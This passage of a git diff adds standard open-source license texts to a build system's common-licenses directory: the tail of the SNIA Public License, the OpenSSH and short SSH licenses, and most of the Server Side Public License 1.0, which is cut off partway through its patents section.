+3.3 Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4 Intellectual Property Matters.
+ (a) Third Party Claims. If Contributor has actual knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter.
+ (b) Contributor API's. If Contributor's Modifications include an application programming interface and Contributor has actual knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations. Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be most likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6 Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligation of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7 Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License. This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1 New Versions. The Storage Networking Industry Association (the "SNIA") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2 Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by the SNIA. No one other than the SNIA has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3 Derivative Works. If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Storage Networking Industry Association," "SNIA," or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the SNIA Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within a reasonable time after becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2 If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that: o (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+8.3 If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4 In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS. The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS. As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE. Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of this License or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+14. ACCEPTANCE. This License is accepted by You if You retain, use, or distribute the Covered Code for any purpose.
+
+EXHIBIT A The SNIA Public License.
+
+The contents of this file are subject to the SNIA Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+www.snia.org/smi/developers/cim/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is .
+
+The Initial Developer of the Original Code is [COMPLETE THIS] .
+
+Contributor(s): ______________________________________.
+
+Read more about this license at http://www.snia.org/smi/developers/open_source/
diff --git a/meta/files/common-licenses/SSH-OpenSSH b/meta/files/common-licenses/SSH-OpenSSH
new file mode 100644
index 0000000000..35a5c8c829
--- /dev/null
+++ b/meta/files/common-licenses/SSH-OpenSSH
@@ -0,0 +1,67 @@
+* Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
+* All rights reserved
+*
+* As far as I am concerned, the code I have written for this software
+* can be used freely for any purpose. Any derived versions of this
+* software must be clearly marked as such, and if the derived work is
+* incompatible with the protocol description in the RFC file, it must be
+* called by a name other than "ssh" or "Secure Shell".
+
+[Tatu continues]
+* However, I am not implying to give any licenses to any patents or
+* copyrights held by third parties, and the software includes parts that
+* are not under my direct control. As far as I know, all included
+* source code is used in accordance with the relevant license agreements
+* and can be used freely for any purpose (the GNU license being the most
+* restrictive); see below for details.
+
+[However, none of that term is relevant at this point in time. All of
+these restrictively licenced software components which he talks about
+have been removed from OpenSSH, i.e.,
+
+- RSA is no longer included, found in the OpenSSL library
+- IDEA is no longer included, its use is deprecated
+- DES is now external, in the OpenSSL library
+- GMP is no longer used, and instead we call BN code from OpenSSL
+- Zlib is now external, in a library
+- The make-ssh-known-hosts script is no longer included
+- TSS has been removed
+- MD5 is now external, in the OpenSSL library
+- RC4 support has been replaced with ARC4 support from OpenSSL
+- Blowfish is now external, in the OpenSSL library
+
+[The licence continues]
+
+Note that any information and cryptographic algorithms used in this
+software are publicly available on the Internet and at any major
+bookstore, scientific library, and patent office worldwide. More
+information can be found e.g. at "http://www.cs.hut.fi/crypto".
+
+The legal status of this program is some combination of all these
+permissions and restrictions. Use only at your own responsibility.
+You will be responsible for any legal consequences yourself; I am not
+making any claims whether possessing or using this is legal or not in
+your country, and I am not taking any responsibility on your behalf.
+
+
+ NO WARRANTY
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/SSH-short b/meta/files/common-licenses/SSH-short
new file mode 100644
index 0000000000..bf6f8a0e62
--- /dev/null
+++ b/meta/files/common-licenses/SSH-short
@@ -0,0 +1,5 @@
+As far as I am concerned, the code I have written for this software
+can be used freely for any purpose. Any derived versions of this
+software must be clearly marked as such, and if the derived work is
+incompatible with the protocol description in the RFC file, it must be
+called by a name other than "ssh" or "Secure Shell".
diff --git a/meta/files/common-licenses/SSPL-1.0 b/meta/files/common-licenses/SSPL-1.0
new file mode 100644
index 0000000000..ed242d9a09
--- /dev/null
+++ b/meta/files/common-licenses/SSPL-1.0
@@ -0,0 +1,557 @@
+ Server Side Public License
+ VERSION 1, OCTOBER 16, 2018
+
+ Copyright © 2018 MongoDB, Inc.
+
+ Everyone is permitted to copy and distribute verbatim copies of this
+ license document, but changing it is not allowed.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ “This License” refers to Server Side Public License.
+
+ “Copyright” also means copyright-like laws that apply to other kinds of
+ works, such as semiconductor masks.
+
+ “The Program” refers to any copyrightable work licensed under this
+ License. Each licensee is addressed as “you”. “Licensees” and
+ “recipients” may be individuals or organizations.
+
+ To “modify” a work means to copy from or adapt all or part of the work in
+ a fashion requiring copyright permission, other than the making of an
+ exact copy. The resulting work is called a “modified version” of the
+ earlier work or a work “based on” the earlier work.
+
+ A “covered work” means either the unmodified Program or a work based on
+ the Program.
+
+ To “propagate” a work means to do anything with it that, without
+ permission, would make you directly or secondarily liable for
+ infringement under applicable copyright law, except executing it on a
+ computer or modifying a private copy. Propagation includes copying,
+ distribution (with or without modification), making available to the
+ public, and in some countries other activities as well.
+
+ To “convey” a work means any kind of propagation that enables other
+ parties to make or receive copies. Mere interaction with a user through a
+ computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays “Appropriate Legal Notices” to the
+ extent that it includes a convenient and prominently visible feature that
+ (1) displays an appropriate copyright notice, and (2) tells the user that
+ there is no warranty for the work (except to the extent that warranties
+ are provided), that licensees may convey the work under this License, and
+ how to view a copy of this License. If the interface presents a list of
+ user commands or options, such as a menu, a prominent item in the list
+ meets this criterion.
+
+ 1. Source Code.
+
+ The “source code” for a work means the preferred form of the work for
+ making modifications to it. “Object code” means any non-source form of a
+ work.
+
+ A “Standard Interface” means an interface that either is an official
+ standard defined by a recognized standards body, or, in the case of
+ interfaces specified for a particular programming language, one that is
+ widely used among developers working in that language. The “System
+ Libraries” of an executable work include anything, other than the work as
+ a whole, that (a) is included in the normal form of packaging a Major
+ Component, but which is not part of that Major Component, and (b) serves
+ only to enable use of the work with that Major Component, or to implement
+ a Standard Interface for which an implementation is available to the
+ public in source code form. A “Major Component”, in this context, means a
+ major essential component (kernel, window system, and so on) of the
+ specific operating system (if any) on which the executable work runs, or
+ a compiler used to produce the work, or an object code interpreter used
+ to run it.
+
+ The “Corresponding Source” for a work in object code form means all the
+ source code needed to generate, install, and (for an executable work) run
+ the object code and to modify the work, including scripts to control
+ those activities. However, it does not include the work's System
+ Libraries, or general-purpose tools or generally available free programs
+ which are used unmodified in performing those activities but which are
+ not part of the work. For example, Corresponding Source includes
+ interface definition files associated with source files for the work, and
+ the source code for shared libraries and dynamically linked subprograms
+ that the work is specifically designed to require, such as by intimate
+ data communication or control flow between those subprograms and other
+ parts of the work.
+
+ The Corresponding Source need not include anything that users can
+ regenerate automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+ copyright on the Program, and are irrevocable provided the stated
+ conditions are met. This License explicitly affirms your unlimited
+ permission to run the unmodified Program, subject to section 13. The
+ output from running a covered work is covered by this License only if the
+ output, given its content, constitutes a covered work. This License
+ acknowledges your rights of fair use or other equivalent, as provided by
+ copyright law. Subject to section 13, you may make, run and propagate
+ covered works that you do not convey, without conditions so long as your
+ license otherwise remains in force. You may convey covered works to
+ others for the sole purpose of having them make modifications exclusively
+ for you, or provide you with facilities for running those works, provided
+ that you comply with the terms of this License in conveying all
+ material for which you do not control copyright. Those thus making or
+ running the covered works for you must do so exclusively on your
+ behalf, under your direction and control, on terms that prohibit them
+ from making any copies of your copyrighted material outside their
+ relationship with you.
+
+ Conveying under any other circumstances is permitted solely under the
+ conditions stated below. Sublicensing is not allowed; section 10 makes it
+ unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+ measure under any applicable law fulfilling obligations under article 11
+ of the WIPO copyright treaty adopted on 20 December 1996, or similar laws
+ prohibiting or restricting circumvention of such measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+ circumvention of technological measures to the extent such circumvention is
+ effected by exercising rights under this License with respect to the
+ covered work, and you disclaim any intention to limit operation or
+ modification of the work as a means of enforcing, against the work's users,
+ your or third parties' legal rights to forbid circumvention of
+ technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+ receive it, in any medium, provided that you conspicuously and
+ appropriately publish on each copy an appropriate copyright notice; keep
+ intact all notices stating that this License and any non-permissive terms
+ added in accord with section 7 apply to the code; keep intact all notices
+ of the absence of any warranty; and give all recipients a copy of this
+ License along with the Program. You may charge any price or no price for
+ each copy that you convey, and you may offer support or warranty
+ protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+ produce it from the Program, in the form of source code under the terms
+ of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified it,
+ and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is released
+ under this License and any conditions added under section 7. This
+ requirement modifies the requirement in section 4 to “keep intact all
+ notices”.
+
+ c) You must license the entire work, as a whole, under this License to
+ anyone who comes into possession of a copy. This License will therefore
+ apply, along with any applicable section 7 additional terms, to the
+ whole of the work, and all its parts, regardless of how they are
+ packaged. This License gives no permission to license the work in any
+ other way, but it does not invalidate such permission if you have
+ separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your work
+ need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+ works, which are not by their nature extensions of the covered work, and
+ which are not combined with it such as to form a larger program, in or on
+ a volume of a storage or distribution medium, is called an “aggregate” if
+ the compilation and its resulting copyright are not used to limit the
+ access or legal rights of the compilation's users beyond what the
+ individual works permit. Inclusion of a covered work in an aggregate does
+ not cause this License to apply to the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms of
+ sections 4 and 5, provided that you also convey the machine-readable
+ Corresponding Source under the terms of this License, in one of these
+ ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium customarily
+ used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a written
+ offer, valid for at least three years and valid for as long as you
+ offer spare parts or customer support for that product model, to give
+ anyone who possesses the object code either (1) a copy of the
+ Corresponding Source for all the software in the product that is
+ covered by this License, on a durable physical medium customarily used
+ for software interchange, for a price no more than your reasonable cost
+ of physically performing this conveying of source, or (2) access to
+ copy the Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This alternative is
+ allowed only occasionally and noncommercially, and only if you received
+ the object code with such an offer, in accord with subsection 6b.
+
+ d) Convey the object code by offering access from a designated place
+ (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to copy
+ the object code is a network server, the Corresponding Source may be on
+ a different server (operated by you or a third party) that supports
+ equivalent copying facilities, provided you maintain clear directions
+ next to the object code saying where to find the Corresponding Source.
+ Regardless of what server hosts the Corresponding Source, you remain
+ obligated to ensure that it is available for as long as needed to
+ satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided you
+ inform other peers where the object code and Corresponding Source of
+ the work are being offered to the general public at no charge under
+ subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+ from the Corresponding Source as a System Library, need not be included
+ in conveying the object code work.
+
+ A “User Product” is either (1) a “consumer product”, which means any
+ tangible personal property which is normally used for personal, family,
+ or household purposes, or (2) anything designed or sold for incorporation
+ into a dwelling. In determining whether a product is a consumer product,
+ doubtful cases shall be resolved in favor of coverage. For a particular
+ product received by a particular user, “normally used” refers to a
+ typical or common use of that class of product, regardless of the status
+ of the particular user or of the way in which the particular user
+ actually uses, or expects or is expected to use, the product. A product
+ is a consumer product regardless of whether the product has substantial
+ commercial, industrial or non-consumer uses, unless such uses represent
+ the only significant mode of use of the product.
+
+ “Installation Information” for a User Product means any methods,
+ procedures, authorization keys, or other information required to install
+ and execute modified versions of a covered work in that User Product from
+ a modified version of its Corresponding Source. The information must
+ suffice to ensure that the continued functioning of the modified object
+ code is in no case prevented or interfered with solely because
+ modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+ specifically for use in, a User Product, and the conveying occurs as part
+ of a transaction in which the right of possession and use of the User
+ Product is transferred to the recipient in perpetuity or for a fixed term
+ (regardless of how the transaction is characterized), the Corresponding
+ Source conveyed under this section must be accompanied by the
+ Installation Information. But this requirement does not apply if neither
+ you nor any third party retains the ability to install modified object
+ code on the User Product (for example, the work has been installed in
+ ROM).
+
+ The requirement to provide Installation Information does not include a
+ requirement to continue to provide support service, warranty, or updates
+ for a work that has been modified or installed by the recipient, or for
+ the User Product in which it has been modified or installed. Access
+ to a network may be denied when the modification itself materially
+ and adversely affects the operation of the network or violates the
+ rules and protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided, in
+ accord with this section must be in a format that is publicly documented
+ (and with an implementation available to the public in source code form),
+ and must require no special password or key for unpacking, reading or
+ copying.
+
+ 7. Additional Terms.
+
+ “Additional permissions” are terms that supplement the terms of this
+ License by making exceptions from one or more of its conditions.
+ Additional permissions that are applicable to the entire Program shall be
+ treated as though they were included in this License, to the extent that
+ they are valid under applicable law. If additional permissions apply only
+ to part of the Program, that part may be used separately under those
+ permissions, but the entire Program remains governed by this License
+ without regard to the additional permissions. When you convey a copy of
+ a covered work, you may at your option remove any additional permissions
+ from that copy, or from any part of it. (Additional permissions may be
+ written to require their own removal in certain cases when you modify the
+ work.) You may place additional permissions on material, added by you to
+ a covered work, for which you have or can give appropriate copyright
+ permission.
+
+ Notwithstanding any other provision of this License, for material you add
+ to a covered work, you may (if authorized by the copyright holders of
+ that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some trade
+ names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that material
+ by anyone who conveys the material (or modified versions of it) with
+ contractual assumptions of liability to the recipient, for any
+ liability that these contractual assumptions directly impose on those
+ licensors and authors.
+
+ All other non-permissive additional terms are considered “further
+ restrictions” within the meaning of section 10. If the Program as you
+ received it, or any part of it, contains a notice stating that it is
+ governed by this License along with a term that is a further restriction,
+ you may remove that term. If a license document contains a further
+ restriction but permits relicensing or conveying under this License, you
+ may add to a covered work material governed by the terms of that license
+ document, provided that the further restriction does not survive such
+ relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you must
+ place, in the relevant source files, a statement of the additional terms
+ that apply to those files, or a notice indicating where to find the
+ applicable terms. Additional terms, permissive or non-permissive, may be
+ stated in the form of a separately written license, or stated as
+ exceptions; the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+ provided under this License. Any attempt otherwise to propagate or modify
+ it is void, and will automatically terminate your rights under this
+ License (including any patent licenses granted under the third paragraph
+ of section 11).
+
+ However, if you cease all violation of this License, then your license
+ from a particular copyright holder is reinstated (a) provisionally,
+ unless and until the copyright holder explicitly and finally terminates
+ your license, and (b) permanently, if the copyright holder fails to
+ notify you of the violation by some reasonable means prior to 60 days
+ after the cessation.
+
+ Moreover, your license from a particular copyright holder is reinstated
+ permanently if the copyright holder notifies you of the violation by some
+ reasonable means, this is the first time you have received notice of
+ violation of this License (for any work) from that copyright holder, and
+ you cure the violation prior to 30 days after your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+ licenses of parties who have received copies or rights from you under
+ this License. If your rights have been terminated and not permanently
+ reinstated, you do not qualify to receive new licenses for the same
+ material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or run a
+ copy of the Program. Ancillary propagation of a covered work occurring
+ solely as a consequence of using peer-to-peer transmission to receive a
+ copy likewise does not require acceptance. However, nothing other than
+ this License grants you permission to propagate or modify any covered
+ work. These actions infringe copyright if you do not accept this License.
+ Therefore, by modifying or propagating a covered work, you indicate your
+ acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically receives
+ a license from the original licensors, to run, modify and propagate that
+ work, subject to this License. You are not responsible for enforcing
+ compliance by third parties with this License.
+
+ An “entity transaction” is a transaction transferring control of an
+ organization, or substantially all assets of one, or subdividing an
+ organization, or merging organizations. If propagation of a covered work
+ results from an entity transaction, each party to that transaction who
+ receives a copy of the work also receives whatever licenses to the work
+ the party's predecessor in interest had or could give under the previous
+ paragraph, plus a right to possession of the Corresponding Source of the
+ work from the predecessor in interest, if the predecessor has it or can
+ get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the rights
+ granted or affirmed under this License. For example, you may not impose a
+ license fee, royalty, or other charge for exercise of rights granted
+ under this License, and you may not initiate litigation (including a
+ cross-claim or counterclaim in a lawsuit) alleging that any patent claim
+ is infringed by making, using, selling, offering for sale, or importing
+ the Program or any portion of it.
+
+ 11. Patents.
+
+ A “contributor” is a copyright holder who authorizes use under this
+ License of the Program or a work on which the Program is based. The work
+ thus licensed is called the contributor's “contributor version”.
+
+ A contributor's “essential patent claims” are all patent claims owned or
+ controlled by the contributor, whether already acquired or hereafter
+ acquired, that would be infringed by some manner, permitted by this
+ License, of making, using, or selling its contributor version, but do not
+ include claims that would be infringed only as a consequence of further
+ modification of the contributor version. For purposes of this definition,
+ “control” includes the right to grant patent sublicenses in a manner
+ consistent with the requirements of this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+ patent license under the contributor's essential patent claims, to make,
+ use, sell, offer for sale, import and otherwise run, modify and propagate
+ the contents of its contributor version.
+
+ In the following three paragraphs, a “patent license” is any express
+ agreement or commitment, however denominated, not to enforce a patent
+ (such as an express permission to practice a patent or covenant not to
+ sue for patent infringement). To “grant” such a patent license to a party
+ means to make such an agreement or commitment not to enforce a patent
+ against the party.
+
+ If you convey a covered work, knowingly relying on a patent license, and
+ the Corresponding Source of the work is not available for anyone to copy,
+ free of charge and under the terms of this License, through a publicly
+ available network server or other readily accessible means, then you must
+ either (1) cause the Corresponding Source to be so available, or (2)
+ arrange to deprive yourself of the benefit of the patent license for this
+ particular work, or (3) arrange, in a manner consistent with the
+ requirements of this License, to extend the patent license to downstream
+ recipients. “Knowingly relying” means you have actual knowledge that, but
+ for the patent license, your conveying the covered work in a country, or
+ your recipient's use of the covered work in a country, would infringe
+ one or more identifiable patents in that country that you have reason
+ to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+ arrangement, you convey, or propagate by procuring conveyance of, a
+ covered work, and grant a patent license to some of the parties receiving
+ the covered work authorizing them to use, propagate, modify or convey a
+ specific copy of the covered work, then the patent license you grant is
+ automatically extended to all recipients of the covered work and works
+ based on it.
+
+ A patent license is “discriminatory” if it does not include within the
+ scope of its coverage, prohibits the exercise of, or is conditioned on
+ the non-exercise of one or more of the rights that are specifically
+ granted under this License. You may not convey a covered work if you are
+ a party to an arrangement with a third party that is in the business of
+ distributing software, under which you make payment to the third party
+ based on the extent of your activity of conveying the work, and under
+ which the third party grants, to any of the parties who would receive the
+ covered work from you, a discriminatory patent license (a) in connection
